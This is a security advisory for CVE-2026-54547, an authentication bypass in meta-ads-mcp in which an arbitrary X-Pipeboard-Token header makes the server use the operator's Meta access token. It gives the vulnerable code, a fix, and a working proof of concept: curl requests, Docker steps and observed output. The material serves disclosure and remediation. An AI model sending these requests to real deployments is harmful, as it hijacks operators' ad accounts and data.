返回列表

meta-ads-mcp: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token

CVE-2026-54547RCE2026-07-17

漏洞描述

## X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token ### Summary `AuthInjectionMiddleware` in `meta-ads-mcp` rejects HTTP MCP requests only when **both** `auth_token` and `pipeboard_token` are absent. Because `extract_token_from_headers()` does not recognise the `X-Pipeboard-Token` header, an attacker who sends that header with any arbitrary value produces `auth_token = None` and `pipeboard_token = <attacker value>`, making the guard condition evaluate to `False` and passing the request through. No authentication context is set; the token getter falls back to the server operator's `META_ACCESS_TOKEN` environment variable. Every subsequent MCP tool call executes with the operator's Meta credentials, allowing an unauthenticated network caller to read and write the operator's Meta Ads data. ### Details The vulnerable condition is at `meta_ads_mcp/core/http_auth_integration.py:259`: ```python # http_auth_integration.py:255-260 auth_token = FastMCPAuthIntegration.extract_token_from_headers(dict(request.headers)) pipeboard_token = FastMCPAuthIntegration.extract_pipeboard_token_from_headers(dict(request.headers)) if not auth_token and not pipeboard_token: # ← bypass condition return Response(..., status_code=401) ``` `extract_token_from_headers()` (lines 77–95) recognises only `Authorization: Bearer`, `X-META-ACCESS-TOKEN`, and `X-PIPEBOARD-API-TOKEN`. It does **not** recognise `X-Pipeboard-Token`, so that header never populates `auth_token`. `extract_pipeboard_token_from_headers()` (line 108) **does** recognise `X-Pipeboard-Token`, so sending that header alone produces: ``` auth_token = None # not set → guard reads False for left operand pipeboard_token = "<anything>" # truthy → guard reads False for right operand → (not None) and (not "<anything>") = True and False = False → 401 never returned ``` After the bypass, `set_auth_token()` is never called (lines 283–291 only run when `auth_token` is truthy). The patched token getter at lines 163–168 resolves `get_auth_token() = None`, then delegates to `original_get_current_access_token()`. The fallback chain in `auth.py:446–453` returns `META_ACCESS_TOKEN` from the server environment: ```python # auth.py:443-453 env_token = os.environ.get("META_ACCESS_TOKEN") if env_token: return env_token ``` `@meta_api_tool` at `api.py:390–396` injects this operator token into every tool's `access_token` kwarg. The sink at `api.py:225–235` forwards it to the Meta Graph API via `httpx.AsyncClient`. Verified with `accounts.py:42–62` (`get_ad_accounts`): the operator's ad account data is returned for valid tokens; for invalid tokens the Meta Graph API responds with an `OAuthException`, confirming the token traversed the full path. Full data flow: | Step | Location | Description | |------|----------|-------------| | 1 | `http_auth_integration.py:255–257` | Middleware extracts attacker-controlled headers | | 2 | `http_auth_integration.py:259` | Bypass: `X-Pipeboard-Token` alone satisfies guard | | 3 | `http_auth_integration.py:288–291` | `auth_token` is `None`; auth context never set | | 4 | `http_auth_integration.py:163–168` | Token getter falls back to original accessor | | 5 | `auth.py:446–453` | `META_ACCESS_TOKEN` env var returned as access token | | 6 | `api.py:390–396` | Operator token injected into tool kwargs | | 7 | `accounts.py:42–62` | Tool invokes Meta Graph API with operator token | | 8 | `api.py:225–235` | `httpx.AsyncClient` sends privileged HTTP request | **Recommended fix:** ```diff --- a/meta_ads_mcp/core/http_auth_integration.py +++ b/meta_ads_mcp/core/http_auth_integration.py - if not auth_token and not pipeboard_token: + if not auth_token: ``` `X-Pipeboard-Token` should be treated as a supplementary service token only; it must not serve as a standalone authentication credential for MCP tool calls. ### PoC **Prerequisites** - Docker installed and the `meta-ads-mcp` repository available locally. - The server must be started in `streamable-http` mode (documented in `STREAMABLE_HTTP_SETUP.md` as a supported production deployment). **Step 1 — Build the Docker image** ```bash docker build \ -t vuln001-meta-ads-mcp \ -f /path/to/vuln-001/Dockerfile \ /path/to/meta-ads-mcp-repo/ ``` The `Dockerfile` installs the package from source, sets `META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890`, and starts the server on port 8080. **Step 2 — Run the container** ```bash docker run -d -p 8081:8080 --name vuln001-test vuln001-meta-ads-mcp ``` **Step 3 — Confirm the middleware is active (no-auth → 401)** ```bash curl -i -X POST http://127.0.0.1:8081/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}' # Expected: HTTP/1.1 401 {"error":"Unauthorized",...} ``` **Step 4 — Trigger the bypass (X-Pipeboard-Token only → 200)** ```bash curl -i -X POST http://127.0.0.1:8081/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \ -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}' # Expected: HTTP/1.1 200 {"jsonrpc":"2.0","result":{"tools":[...]}} (37 tools listed) ``` **Step 5 — Confirm operator token is forwarded to Meta Graph API** ```bash curl -i -X POST http://127.0.0.1:8081/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \ -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_ad_accounts","arguments":{"limit":1}}}' # Expected: HTTP 200 + Meta OAuthException (code 190) proving FAKE_OPERATOR_META_TOKEN # was forwarded to Meta. With a real operator token, ad account data is returned. ``` **Automated PoC script** ```bash python3 /path/to/vuln-001/poc.py http://127.0.0.1:8081/mcp ``` The script performs Tests 1–3 and prints `RESULT: PASS — VULN-001 reproduced` on success. **Observed output (dynamic reproduction)** ``` Test 1 (no auth header) → HTTP 401 {"error":"Unauthorized",...} Test 2 (X-Pipeboard-Token only) → HTTP 200 {"jsonrpc":"2.0","result":{"tools":[...]}} (37 tools) Test 3 (tools/call, same header)→ HTTP 200 {"error":{"message":"Invalid OAuth access token data.","type":"OAuthException","code":190}} ``` Test 3 confirms that `FAKE_OPERATOR_META_TOKEN` was sent to Meta Graph API, proving the full operator-token reuse path. ### Impact This is an **authentication bypass** vulnerability. Any network-reachable caller that can send an HTTP request with an arbitrary `X-Pipeboard-Token` header can: - **Read** all Meta Ads data accessible to the server operator (ad accounts, campaigns, creatives, audiences, insights). - **Write** Meta Ads resources (create/update campaigns, ads, budgets) as the operator. - **Exfiltrate the operator's identity** via Meta Graph API error responses that reference the token. Operators who deploy `meta-ads-mcp` in `--transport streamable-http` mode with `META_ACCESS_TOKEN` configured — the documented and recommended production setup — are directly affected. Deployments using the default `stdio` transport or those without `META_ACCESS_TOKEN` set are not affected. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001 PoC: X-Pipeboard-Token Auth Bypass (CWE-287) # Runs meta-ads-mcp in streamable-http mode with a fake operator META_ACCESS_TOKEN. # The server enforces auth via AuthInjectionMiddleware, but the bypass allows # X-Pipeboard-Token alone to pass the middleware and reach tool handlers, # which then fall back to the operator's META_ACCESS_TOKEN. FROM python:3.11-slim WORKDIR /app # Install system dependencies RUN apt-get update && apt-get install -y --no-install-recommends \ curl \ && rm -rf /var/lib/apt/lists/* # Copy repository source (build context must be the repo root) COPY . /app

查看原文